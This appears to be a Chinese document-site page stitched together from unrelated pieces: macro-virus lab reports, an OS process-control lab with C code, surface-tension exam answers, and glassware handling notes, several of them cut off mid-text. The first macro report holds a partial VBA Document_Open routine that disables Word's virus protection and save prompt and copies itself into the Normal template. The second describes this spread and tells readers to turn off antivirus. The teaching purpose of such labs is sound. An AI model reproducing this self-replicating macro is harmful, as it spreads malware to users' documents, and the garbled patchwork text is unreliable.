宏病毒实验报告 2 邹文敏 一、实验目的 通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。 加深对宏病毒的感性认识,宏病毒是感染数据文件word,office 等。 二、实验内容 运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。 三、实验步骤 实验一: 将word文档中的开发者工具打开;word 中心→信任选项→宏设计将信任选项打开

运行第一个实验Visual Basic →normal →Microsoft→the document Project→microsoft word对象→the document复制如下代码:'APMP Private Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.VirusProtection = False Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines( 1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _ Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule

操作系统实验报告4

《操作系统》实验报告 实验序号: 4 实验项目名称:进程控制

Printf(“child Complete”); CloseHandle(pi.hProcess); CloseHandle(pi hThread); ﹜ 修改后: #include #include int main(VOID) { STARTUPINFO si; PROCESS_INFORMA TION pi; ZeroMemory(&si,sizeof(si)); si.cb=sizeof(si); ZeroMemory(&pi,sizeof(pi)); if(!CreateProcess(NULL, "c:\\WINDOWS\\system32\\mspaint.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si,&pi)) { fprintf(stderr,"Creat Process Failed"); return -1; } WaitForSingleObject(pi.hProcess,INFINITE); printf("child Complete"); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } 在“命令提示符”窗口运行CL命令产生可执行程序4-1.exe:C:\ >CL 4-1.cpp

实验任务:写出程序的运行结果。 4.正在运行的进程 (2)、编程二下面给出了一个使用进程和操作系统版本信息应用程序(文件名为4-5.cpp)。它利用进程信息查询的API函数GetProcessVersion()与GetVersionEx()的共同作用。确定运行进程的操作系统版本号。阅读该程序并完成实验任务。 #include #include

实验八溶液表面张力测定问答题答案(学习资料)

实验八溶液表面张力测定问答题答案 1、实验时,为什么毛细管口应处于刚好接触溶液表面的位置? 如插入一定深度将对实验带来什么影响? 答案:减少测量?P max 误差,因为?P max 是气泡内外的压力差,在气泡形成的过程中,由于表面张力的作用,凹液面产生一个指向液面外的附加压力△P , K =ΔP r γ=ΔP 2 m ax m ax ,如果插入一定深度,P 外还要考虑插入这段深度的静压力,使得?P max 的绝对值变大,表面张力也变大。 2、最大气泡法测定表面张力时为什么要读最大压力差? 答案:最大气泡法测定表面张力时要读最大压力差。因为随着气泡的形成,曲率半径逐渐由大变小又变大,当曲率半径等于毛细管半径时,气泡呈半球形,气泡曲率半径最小,△P 最大。 这时的表面张力为: K =ΔP r γ=ΔP 2 m ax m ax 式中的K 为仪器常数,可用已知表面张力的标准物质测得。 ?P max 由压力计读出。 3、实验中为什么要测定水的?P m ax ? 答案:当曲率半径等于毛细管半径时的表面张力为: K =ΔP r γ=ΔP 2 m ax m ax 式中的K 为仪器常数,可用已知表面张力的标准物质测得,这种标准物质就是水。 4、对测量所用毛细管有什么要求? 答案:毛细管一定要清洗干净,管口平齐。 5、在毛细管口所形成的气泡什么时候其半径最小? 答案:测量时?P m ax 最大 6、如何用镜象法从σ—C 等温线上作不同浓度的切线求T c γ??? ????或Z ? 如图所示,经过切点a 作平行于横坐标的直线,交纵坐标

于b 点。用镜象法求作切线。 以Z 表示切线和平行线在纵坐标上截距间的距离,显然Z 的长度等于 T c c γ??? ????, 即 T Z c c γ???=- ???? 7、答案:表面张力为什么必须在恒温槽中进行测定? 答案:因为表面张力与温度有关,温度升高,表面张力下降。 8、如果气泡逸出的很快,或几个气泡一齐出,对实验结果有何影响? 答案:如果气泡逸出的很快,或几个气泡一齐出,即气泡形成时间太短,则吸附平衡就来不及在气泡表面建立起来,测得的表面张力也不能反映该浓度之真正的表面张力值。 9、根据什么来控制滴液漏斗的放液速度?对本实验有何影响? 答案:要求气泡从毛细管缓慢逸出,通过控制滴液漏斗的放液速度调节逸出气泡每分钟10个左右。若形成时间太短,则吸附平衡就来不及在气泡表面建立起来,测得的表面张力也不能反映该浓度之真正的表面张力值。 10、测定正丁醇溶液的表面张力时,浓度为什么要按低到高的顺序依次测定? 答案:溶液的表面张力与浓度有关,浓度按低到高的顺序依次测定,可减少由测量瓶清洗不够干净引起的误差。 11、温度变化对表面张力有何影响,为什么? 答案:温度升高,表面张力下降。表面张力与温度有关, 12、测定时如何读取微压力计的压差? 答案:测量时读取微压计上的最大压力。 13、对同一试样进行测定时,每次脱出气泡一个或连串两个所读结果是否相同,为什么? 答案:不同;每次脱出一个气泡结果才准确。如果气泡逸出的很快,或几个气泡一齐出,即气泡形成时间太短,则吸附平衡就来不及在气泡表面建立起来,测得的表面张力也不能反映该浓度之真正的表面张力值。

word宏恶意代码实验

计算机宏病毒分析 一、实验目的 ?了解“宏病毒”机理; ?掌握清除宏病毒的方法; ?掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 ?Windows 7 64位旗舰版 ?Office Word2010字处理软件。 三、实验要求 ?宏的编写; ?理解宏病毒的作用机制。 四、实验步骤: 1.软件设置 关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。 注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 2.自我复制功能演示 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 完整代码如下: 'Macro-1:Micro-Virus

实验室常用的基本操作

实验室常用的基本操作 玻璃仪器的基本操作 1、认领仪器按照仪器单领取和认识基础化学实验中的常用仪器。

2、玻璃仪器的洗涤

(1)震荡水洗 (2)内壁附有不易洗掉的物质,可用毛刷刷洗 倒废液——注入一半水——选好毛刷,确定手拿部位刷洗——如是反复 (3)刷洗后,再用水连续振荡数次,必要时还应用蒸馏水淋洗三次洗净状态下,水均匀分布不挂水珠(如左图所示); 未洗净状态下,器壁挂着水珠(如右图所示)。玻璃仪器里如附有不溶于水的碱、碳酸盐、碱性氧化物等可先加盐酸溶解,再用水冲洗;附有油脂等污物可先用热的纯碱液洗,然后用毛刷刷洗,也可用毛刷蘸少量洗衣粉刷洗;对于口小、管细的仪器,不便用刷子洗,可用少量王水或重铬酸盐洗液涮洗;用以上方法清洗不掉的污物可用较多王水或洗液浸泡,然后用水涮洗。( (1)不要未倒废液就注水 (2)不要几支试管一起刷) 3、仪器的干燥 (1)晾干(左图)与烤干(右图)

(2)吹干(左图)与烘干(右图) (3)气流烘干(左图)与快干(右图) 4、常见玻璃仪器的使用 (1)量筒与量杯 (2)移液管 移液管使用注意事项: 应根据不同的需要选用大小合适的移液管,如取1.5ml的溶液,显然选用2ml移液管要比选用5ml移液管误差小;吸取溶液时要把移液管插入溶液,避免吸入空气而将溶液从上端

溢出;移液管从液体中移出后必须用滤纸将管的外壁擦干,再行放液;不可用移液管直接从瓶中移取溶剂或溶液,剩余溶剂或溶液不可倒回贮液瓶,应作废弃物处理。 (2)滴定管 操作步骤:洗涤——涂凡士林——检漏——装入操作液——滴定管排气——滴定操作 (3)容量瓶 容量瓶使用前应检查容量瓶的瓶塞是否漏水,合格的瓶塞应系在瓶颈上,不得任意更换。容量瓶刻度以上的内壁挂有水珠会影响准确度,所以应该洗得很干净。称量的任何固体物质必须先在小烧杯中溶解或加热溶解,冷却至室温后才能转移到容量瓶中。容量瓶绝不应加热或烘干。容量瓶定容完再翻转摇匀,若翻转摇匀后定容,会因加的水或溶剂过多,导致溶液浓度偏小。

相关文档
最新文档